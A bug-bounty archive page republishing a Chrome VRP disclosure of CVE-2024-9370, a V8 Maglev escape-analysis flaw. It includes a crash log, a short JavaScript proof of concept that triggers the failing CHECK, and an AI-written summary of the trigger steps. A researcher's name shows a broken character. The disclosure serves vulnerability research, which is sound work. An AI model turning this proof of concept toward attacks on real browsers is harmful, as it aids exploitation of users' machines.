Skip to content
Memory corruption Advisory Advanced CVE-2024-9370

Inappropriate implementation in V8 (CVE-2024-9370)

A bug in V8's Maglev compiler escape analysis could elide the `this` object in a derived class constructor, leading to a CHECK failure when the Error constructor traverses the stack. An attacker could potentially exploit this to cause a crash or possibly achieve sandbox escape.

Nguyễn Hoàng Thạch Follow

Originally disclosed on Chrome VRP

  • Fix shipped in 13 days
---

### Report description

v8 Maglev Escape Analysis bug

---

### Bug location

#### Where do you want to report your vulnerability?

Chrome VRP – Report security issues affecting the Chrome browser. [See program rules](https://bughunters.google.com/about/rules/5745167867576320/chrome-vulnerability-reward-program-rules)

---

### The problem

#### Please describe the technical details of the vulnerability

# v8 Maglev Escape Analysis bug

## Technical Details
When the constructor function of a class is optimized by Maglev, various optimizations can be implemented.

The `this` can be built `inlined` by `BuildInlinedAllocation` function. In our PoC, we use derived class implementation and constant `new.target` to force `this` is built `inlined`.
During the `Escape Analysis` phase, all `InlinedAllocation` nodes are analyzed, and they can be `elided` if they are not needed in the future. The `this` object could be `elided` in this way too.

By default, the constructor always returns `this` object. However, we can replace this with `return 1` to eliminate all usage of `this` resulting in `this` object to be `elided`.
Calling the `Error()` constructor will traverse the stack frame. If it encounters a `receiver` object (i.e., `this` object mentioned earlier) that has been captured (`elided`), it will trigger the CHECK statement in `!translated_values->IsMaterializedObject()`.

## Crash Logs

```shell
#
# Fatal error in ../../src/execution/frames.cc, line 2806
# Check failed: !translated_values->IsMaterializedObject().
#
#
#
#FailureMessage Object: 0x7fff0d5ab688
==== C stack trace ===============================

    ./v8/out/debug/d8(v8::base::debug::StackTrace::StackTrace()+0x1e) [0x64a72564ccee]
    ./v8/out/debug/d8(+0xb54d57d) [0x64a72564757d]
    ./v8/out/debug/d8(V8_Fatal(char const*, int, char const*, ...)+0x205) [0x64a725621c75]
    ./v8/out/debug/d8(v8::internal::OptimizedFrame::Summarize(std::__Cr::vector<v8::internal::FrameSummary, std::__Cr::allocator<v8::internal::FrameSummary>>*) const+0x6bb) [0x64a7210611fb]
    ./v8/out/debug/d8(+0x6fb57de) [0x64a7210af7de]
    ./v8/out/debug/d8(+0x6f868c4) [0x64a7210808c4]
    ./v8/out/debug/d8(v8::internal::Isolate::CaptureAndSetErrorStack(v8::internal::Handle<v8::internal::JSObject>, v8::internal::FrameSkipMode, v8::internal::Handle<v8::internal::Object>)+0x1e5) [0x64a7210801f5]
    ./v8/out/debug/d8(v8::internal::ErrorUtils::Construct(v8::internal::Isolate*, v8::internal::Handle<v8::internal::JSFunction>, v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Object>, v8::internal::FrameSkipMode, v8::internal::Handle<v8::internal::Object>, v8::internal::ErrorUtils::StackTraceCollection)+0x7fc) [0x64a7210eb3bc]
    ./v8/out/debug/d8(v8::internal::ErrorUtils::Construct(v8::internal::Isolate*, v8::internal::Handle<v8::internal::JSFunction>, v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Object>)+0xc4) [0x64a7210eaba4]
    ./v8/out/debug/d8(+0x6b4292d) [0x64a720c3c92d]
    ./v8/out/debug/d8(v8::internal::Builtin_ErrorConstructor(int, unsigned long*, v8::internal::Isolate*)+0xfb) [0x64a720c3c5cb]
    ./v8/out/debug/d8(+0xacd06fd) [0x64a724dca6fd]
```

## PoC

```javascript
class A {}
class B extends A {
    constructor() {
        glb = new.target;        // -> new target is constant
        super();                 // -> call BuildInlinedAllocation
        Error();                 // -> trigger CHECK statement
        return 1;                // -> remove all uses of `this`
    }
}
var glb = B;
%PrepareFunctionForOptimization(B);
try {
    new B();
} catch (e) {
    %DebugPrint(e);
}                               // use try-catch to ignore `TypeError`
%OptimizeMaglevOnNextCall(B);
new B();
```

## Credits
Nguy�
n Hoàng Thạch, Đỗ Minh Tuấn and Wu JinLin of STAR Labs SG Pte. Ltd.

#### Please briefly explain who can exploit the vulnerability, and what they gain when doing so

It is potentially possible for attackers to abuse this.

---

### The cause

#### What version of Chrome have you found the security issue in?

stable

#### Is the security issue related to a crash?

Yes

#### Choose the type of vulnerability

Sandbox Escape 

#### How would you like to be publicly acknowledged for your report?

Nguy�
n Hoàng Thạch, Đỗ Minh Tuấn and Wu JinLin of STAR Labs SG Pte. Ltd.

The original report as published on the Chromium issue tracker, by Nguyễn Hoàng Thạch, Đỗ Minh Tuấn, and Wu JinLin of STAR Labs SG Pte. Ltd.. Images and videos are our own copies; raw HTML is shown as text. View it on Chromium issue tracker.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the escape analysis incorrectly elides the `this` object when the constructor returns a constant, but the Error constructor later tries to access it.

Impact

It is potentially possible for attackers to abuse this, likely leading to a crash or sandbox escape.

What the attacker needed

Ability to run JavaScript in V8

How it was found

  1. Define a derived class with a constructor that sets a global to new.target, calls super(), calls Error(), and returns 1.
  2. Prepare the constructor for optimisation and call it once to trigger the bug.
  3. Optimise the constructor with Maglev and call it again to trigger the CHECK failure.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

This report describes a flaw in how Chrome's JavaScript engine (V8) optimises code. When a constructor function is optimised, the engine may incorrectly remove an object that is still needed, causing a crash. An attacker could use this to crash the browser or possibly escape the sandbox.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More from Google Chrome

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.